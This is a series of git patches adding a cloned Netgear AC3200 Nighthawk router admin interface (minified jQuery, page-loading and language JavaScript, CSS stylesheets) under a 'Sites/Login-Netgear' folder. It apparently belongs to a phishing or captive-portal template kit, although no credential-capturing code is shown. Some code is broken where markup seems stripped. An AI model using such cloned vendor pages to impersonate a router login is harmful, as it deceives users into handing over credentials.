0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n(""); + }else{ + $('#page').attr("scrolling","no"); + $('#page').width(parseInt(page_width)); + $('#page').height(parseInt(page_height)); + $('#page').css("margin-top","0"); + $('#page').css("margin-left","30"); + + } + $('#page').css("visibility","hidden"); + $('#page_contain').addClass('main-page-contain-loading'); + $('#page').delay(1000).attr("src",path); + + $('#page').load(function(){ + $('#page').css("visibility","visible"); + $('#page_contain').removeClass('main-page-contain-loading'); + + }) + + }else if(path.search("netgear") != -1){ + window.open(path,'_blank','fullscreen=yes,toolbar=yes,location=yes,scrollbars=yes'); + }else{ + var page_width = page_contain_width - 50; + var page_height = page_contain_height - 0; + + $('#page_contain').width(parseInt(page_contain_width)); + $('#page_contain').height(parseInt(page_contain_height)); + $('#page_contain').css("margin-top","5"); + if($.browser.msie){ + $('#page_contain').html(""); + }else{ + $('#page').attr("scrolling","no"); + $('#page').css("overflow-x","hidden"); + $('#page').css("overflow-y","hidden"); + $('#page').width(parseInt(page_width)); + $('#page').height(parseInt(page_height)); + $('#page').css("margin-top","0"); + $('#page').css("margin-left","30"); + + } + $('#page').css("visibility","hidden"); + $('#page_contain').addClass('main-page-contain-loading'); + $('#page').attr("src",path); + $('#page').load(function() + { + $('#page').css("visibility","visible"); + $('#page_contain').removeClass('main-page-contain-loading'); + + }); + + } + + + return false; +} + + +function loadPage2(path) { //alert("8"); + load_page = 2; + while(is_loading_page==1){} + is_loading_page=1; + var page_contain_width = document.body.clientWidth-220 > 735 ? document.body.clientWidth-220 : 735; + var page_contain_height = document.documentElement.clientHeight-160 > 470+adjustPageHeight ? document.documentElement.clientHeight-160 : 470+adjustPageHeight; + $('.advance-menu').css("height", page_contain_height); + + if(path.search("ADV_home.htm") != -1){ + var page_width = page_contain_width - 130; + var page_height = page_contain_height - 45; + + $('#page_contain2').width(parseInt(page_contain_width)); + $('#page_contain2').height(parseInt(page_contain_height)); + $('#page_contain').css("margin-top","5"); + if($.browser.msie){ + $('#page_contain2').html(""); + }else{ + $('#page2').attr("scrolling","no"); + $('#page2').width(parseInt(page_width)); + $('#page2').height(parseInt(page_height)); + $('#page2').css("margin-top","0"); + $('#page2').css("margin-left","50"); + + + } + $('#page2').css("visibility","hidden"); + $('#page2').attr("src",path); + + $('#page2').load(function() + { + $('#page2').css("visibility","visible"); + $('#page_contain2').removeClass('main-page-contain-loading'); + }); + }else if(path.search("netgear") != -1){ + window.open(path,'_blank','fullscreen=yes,toolbar=yes,location=yes,scrollbars=yes'); + }else{ + var page_width = page_contain_width - 50; + var page_height = page_contain_height - 0; + + $('#page_contain2').width(parseInt(page_contain_width)); + $('#page_contain2').height(parseInt(page_contain_height)); + + if($.browser.msie){ //alert("8 * "); + $('#page_contain2').html(""); + }else{ //alert("8 ** "); + $('#page2').attr("scrolling","no"); + $('#page2').css("overflow-x","hidden"); + $('#page2').css("overflow-y","hidden"); + $('#page2').width(parseInt(page_width)); + $('#page2').height(parseInt(page_height)); + $('#page2').css("margin-top","0"); + $('#page2').css("margin-left","30"); + } + $('#page2').css("visibility","hidden"); + $('#page_contain2').addClass('main-page-contain-loading'); + $('#page2').attr("src",path); + $('#page2').load(function() + { + $('#page2').css("visibility","visible"); + $('#page_contain2').removeClass('main-page-contain-loading'); + }); + + + } + is_loading_page=0; + + return false; +} + + +function setParentalControls() +{ //alert("9"); + var ParentalControls_Result = 0; + + var support = 1; + + if(support == 0){ + $('#PAR_menu').attr("href","http://www.netgear.com/lpc"); + $('#PAR_menu2').attr("href","http://www.netgear.com/lpc"); + }else{ + if(ParentalControls_Result == 0){ + $('#PAR_menu').attr("href","http://www.netgear.com/lpc"); + $('#PAR_menu2').attr("href","http://www.netgear.com/lpc"); + }else{ + $('#PAR_menu').attr("href","http://netgear.opendns.com/"); + $('#PAR_menu2').attr("href","http://www.netgear.com/lpc"); + } + } +} + + +function ShowLanguageList() +{ //alert("10"); + var form=document.forms[0]; + var suportlanguage = form.srptlang.value.split(" "); + var gui_region = form.curlang.value; + var gui_lang = form.gui_lang.value; + var local_srpt = form.local_srptlang.value.split(" "); + var i; + for(i=0; i < suportlanguage.length; i++) + { + if(suportlanguage[i] == gui_region){ + document.write(''); + }else{ + document.write(''); + } + + if(suportlanguage[i] == gui_lang){ + gui_lang_local = local_srpt[i]; + } + } + + +} + +function resetLanguageList() +{ //alert("11"); + var i; + var form=document.forms[0]; + var suportlanguage = form.srptlang.value.split(" "); + var gui_region = form.curlang.value; + var langList = document.getElementById("lang_menu"); + + for(i=0; i < suportlanguage.length; i++) + { + if(suportlanguage[i] == gui_region){ + langList.selectedIndex = i; + return; + } + } +} + +function calculate_string_pixel(str) +{ //alert("12"); + var obj = document.getElementById("ruler"); + obj.innerHTML = str; + return obj.offsetWidth; + +} + +function chgLang() +{ //alert("13"); + var form=document.forms[0]; + var gui_region = form.curlang.value; + var choice = form.choicelang.value; + var auto_block = form.auto_block.value; + if (choice != gui_region){ + ret = confirm("<%280%> "+ gui_lang_local + ""+"<%281%> "+""+ choice + "?"); + if(ret==1){ + if($("#BasicTab").hasClass('current')){ + loadPage("LANG_check_redirect.htm"); + }else{ + loadPage2("LANG_check_redirect.htm"); + } + } + else + resetLanguageList(); + } +} + +function chgBrsLang() +{ //alert("14"); + var form=document.forms[0]; + var gui_region = form.curlang.value; + var brslang = form.first_brs_lang.value; + var choice = form.choicelang.value; + var auto_block = form.auto_block.value; + var gui_lang = form.gui_lang.value; + + if(choice === "Auto"){ + if(auto_block == "0"){ + + if(gui_lang != brslang){ + ret = confirm("<%280%> "+ gui_lang_local + ""+"<%281%> "+""+ brslang + "?"); + if(ret==1){ + if($("#BasicTab").hasClass('current')){ + loadPage("LANG_check_redirect2.htm"); + }else{ + loadPage2("LANG_check_redirect2.htm"); + } + }else{ + if($("#BasicTab").hasClass('current')){ + loadPage("auto_block.htm"); + }else{ + loadPage2("auto_block.htm"); + } + } + return true; + } + } + } + + return false; +} + + +function fw_upgrade_hint() +{ //alert("15"); + if($("#BasicTab").hasClass('current')){ + loadPage("UPG_fw_check2.htm"); + }else{ + loadPage2("UPG_fw_check2.htm"); + } +} + +function gui_logout() +{ //alert("16"); + if($("#BasicTab").hasClass('current')){ + top.location.href="LGO_logout.htm"; + } + else + { + top.location.href="LGO_logout.htm"; + } +} + + +function change_size() +{ //alert("17"); + setLanglistPosition(); + setFooterClass(); + subpage_resize(); +} + + + + + + + + + + + + + +
+ + + + + + + + +
+ +
AC3200-Nighthawk + +
+ +
+ + + + + + + + + + + + + + + + + + + + +
+ + + + + +
+ + + + + +
+
    +
+
+ +
+
+
+
+
+ +
+ +
+ + + + +
+ + + + + + + + + + + + + + + + + + + +
+ + + + + + From 58d4e96e8e7f17a72b9275b5410a4f0f276fd710 Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 17 Mar 2016 17:38:31 +0100 Subject: [PATCH 058/294] Added files via upload From 324ffafa13f961a227c0b1f7fe201fab3c0a45cb Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 17 Mar 2016 20:40:02 +0400 Subject: [PATCH 059/294] Create w --- Sites/Login-Netgear/css/w | 1 + 1 file changed, 1 insertion(+) create mode 100644 Sites/Login-Netgear/css/w diff --git a/Sites/Login-Netgear/css/w b/Sites/Login-Netgear/css/w new file mode 100644 index 0000000..e556b83 --- /dev/null +++ b/Sites/Login-Netgear/css/w @@ -0,0 +1 @@ +w From 934cfab9792b355e4dcb01b5d2b187115556cd39 Mon Sep 17 00:00:00 2001 From: William Todt Date: Thu, 17 Mar 2016 17:40:25 +0100 Subject: [PATCH 060/294] Added files via upload --- Sites/Login-Netgear/css/MNUAccess.css | 27 + Sites/Login-Netgear/css/button.css | 175 +++++ Sites/Login-Netgear/css/help.css | 67 ++ Sites/Login-Netgear/css/jScrollPane.css | 64 ++ Sites/Login-Netgear/css/jquery.flexbox.css | 83 ++ .../Login-Netgear/css/jquery.jscrollpane.css | 120 +++ Sites/Login-Netgear/css/mainpage.css | 182 +++++ Sites/Login-Netgear/css/menu.css | 508 +++++++++++++ Sites/Login-Netgear/css/qos_tabs.css | 159 ++++ Sites/Login-Netgear/css/scrollbar.css | 123 +++ Sites/Login-Netgear/css/standalone.css | 12 + Sites/Login-Netgear/css/table.css | 695 +++++++++++++++++ Sites/Login-Netgear/css/table_noh.css | 717 ++++++++++++++++++ Sites/Login-Netgear/css/tabs.css | 159 ++++ 14 files changed, 3091 insertions(+) create mode 100644 Sites/Login-Netgear/css/MNUAccess.css create mode 100644 Sites/Login-Netgear/css/button.css create mode 100644 Sites/Login-Netgear/css/help.css create mode 100644 Sites/Login-Netgear/css/jScrollPane.css create mode 100644 Sites/Login-Netgear/css/jquery.flexbox.css create mode 100644 Sites/Login-Netgear/css/jquery.jscrollpane.css create mode 100644 Sites/Login-Netgear/css/mainpage.css create mode 100644 Sites/Login-Netgear/css/menu.css create mode 100644 Sites/Login-Netgear/css/qos_tabs.css create mode 100644 Sites/Login-Netgear/css/scrollbar.css create mode 100644 Sites/Login-Netgear/css/standalone.css create mode 100644 Sites/Login-Netgear/css/table.css create mode 100644 Sites/Login-Netgear/css/table_noh.css create mode 100644 Sites/Login-Netgear/css/tabs.css diff --git a/Sites/Login-Netgear/css/MNUAccess.css b/Sites/Login-Netgear/css/MNUAccess.css new file mode 100644 index 0000000..c1e5482 --- /dev/null +++ b/Sites/Login-Netgear/css/MNUAccess.css @@ -0,0 +1,27 @@ +.MNUTitle +{ + font-family: Arial, Helvetica, sans-serif; + font-size:18px; + height:25px; + color:#0099cc; + width:600px; + padding-left:20px; + font-weight:bold; +} + +.MNUText{ + font-family: Arial, Helvetica, sans-serif; + font-size:12px; + height:25px; + color:#404040; + font-weight:bold; +} +.MNUTitle2 +{ + font-family: Arial, Helvetica, sans-serif; + font-size:18px; + height:25px; + color:#0707DD; + width:600px; + font-weight:bold; +} diff --git a/Sites/Login-Netgear/css/button.css b/Sites/Login-Netgear/css/button.css new file mode 100644 index 0000000..d48eae8 --- /dev/null +++ b/Sites/Login-Netgear/css/button.css @@ -0,0 +1,175 @@ + +button { + border: 0; + cursor: pointer; + overflow: visible; /* removes extra side padding in IE */ +} + +button:active{ + -ms-background-position-x:1px; + -ms-background-position-y:1px; +} + + +.button-grey span.roundleft_grey{ + padding: 3px 0px 5px 10px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_grey.gif") no-repeat left 0px; + color:#F2F2F2; + white-space:nowrap; +} + +.roundleft_grey{ + padding: 3px 0px 5px 10px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_grey.gif") no-repeat left 0px; + color:#F2F2F2; + white-space:nowrap; +} + + +.roundright_grey{ + padding: 3px 5px 5px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_grey.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; +} + +.button-grey{ + padding: 5px 0px 5px 0px; + margin:0px; + border:0px; + height:25px; + font-size:11px; + font-family:Arial; + background: transparent; +} + +.roundleft_button{ + padding: 3px 0px 5px 10px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_button.gif") no-repeat left 0px; + color:#F2F2F2; + white-space:nowrap; +} + +.button-rule span.roundleft_button{ + padding: 3px 0px 5px 10px; + margin:0px; + border:0px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_button.gif") no-repeat left 0px; + color:#F2F2F2; + white-space:nowrap; +} + +.roundright_button{ + padding: 3px 5px 5px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_button.gif") no-repeat top right; + color:#F2F2F2; + white-space:nowrap; +} + +.button-rule{ + padding: 5px 0px 5px 0px; + margin:0px; + border:0px; + height:25px; + font-size:11px; + font-family:Arial; + background: transparent; +} + +.button-apply span.roundleft_apply{ + padding: 3px 0 5px 20px; + width:20px; + height:22px; + font-weight:bold; + background: transparent url("../img/roundleft_apply.gif") no-repeat left 0px ; + color:#F2F2F2; + white-space:nowrap; +} + +.roundright_apply{ + padding: 3px 0px 5px 0px; + margin:0px; + width:20px; + border:0px; + height:22px; + font-weight:bold; + background: url("../img/roundright_apply.gif") no-repeat right top; + color:#F2F2F2; + white-space:nowrap; +} + +.button-apply{ + padding: 5px 0px 5px 0px; + margin:0px; + height:25px; + font-size:11px; + font-family:Arial; + background: transparent; +} + + +.button-help-arrow{ + float:left; + margin-left:-30px; + padding-top:2px; +} + +.button-help-arrow a:hover{ + cursor:pointer; +} + +.refresh-icon{ + background-image:url('../img/refresh-icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} + +.cancel-icon{ + background-image:url('../img/cancel_icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} + +.add-icon{ + background-image:url('../img/add_icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} +.apply-icon{ + background-image:url('../img/apply_icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} + +.edit-icon{ + background-image:url('../img/edit_icon.gif'); + background-repeat:no-repeat; + background-position:0px 2px; +} + +.apply_bt{ height: 22px; color: #f2f2f2; font-family: Arial; font-weight: Bold; font-size: 14px; background-color: transparent; border: none; cursor: pointer; padding-bottom: 2px;} +.apply_bt{width: 130px; background: url(../img/_m_upgrade.gif) no-repeat;} diff --git a/Sites/Login-Netgear/css/help.css b/Sites/Login-Netgear/css/help.css new file mode 100644 index 0000000..d21eba1 --- /dev/null +++ b/Sites/Login-Netgear/css/help.css @@ -0,0 +1,67 @@ +.help-text{ + font-family:Arial; +} + +h1{ + font-size:16px; + color:#989dff; + font-weight:bold; +} + + +h2{ + font-size:16px; + color:#ffffff; + font-weight:bold; +} + + +font,b{ + color:#989dff; +} + +p{ + font-size:12px; +} + + +p.inline{ + display:inline; +} + + + +body{ + font-family:Arial; + background-color:#202020; + color:#E0E0E0; + width:100%; + height:100%; + overflow:no; + font-size:12px; + + scrollbar-track-color:#767676; + scrollbar-arrow-color:#E0E0E0; + scrollbar-face-color:#E0E0E0; + scrollbar-3dlight-color:#E0E0E0; + scrollbar-highlight-color:#E0E0E0; + scrollbar-shadow-color:#E0E0E0; + scrollbar-darkshadow-color:#E0E0E0; + + +} + +li{ + font-size:12px; +} + +ul{ + font-size:12px; +} + + +b#italic{ + overflow:auto; + font-size:12px; + color:#E0E0E0; +} diff --git a/Sites/Login-Netgear/css/jScrollPane.css b/Sites/Login-Netgear/css/jScrollPane.css new file mode 100644 index 0000000..32abe1b --- /dev/null +++ b/Sites/Login-Netgear/css/jScrollPane.css @@ -0,0 +1,64 @@ +.jScrollPaneContainer { + position: relative; + overflow: hidden; + z-index: 1; +} + +.jScrollPaneTrack { + position: absolute; + cursor: pointer; + right: 0; + top: 0; + height: 100%; + background: #aaa; +} +.jScrollPaneDrag { + position: absolute; + background: #666; + cursor: pointer; + overflow: hidden; +} +.jScrollPaneDragTop { + position: absolute; + top: 0; + left: 0; + overflow: hidden; +} +.jScrollPaneDragBottom { + position: absolute; + bottom: 0; + left: 0; + overflow: hidden; +} +a.jScrollArrowUp { + display: block; + position: absolute; + z-index: 1; + top: 0; + right: 0; + text-indent: -2000px; + overflow: hidden; + /*background-color: 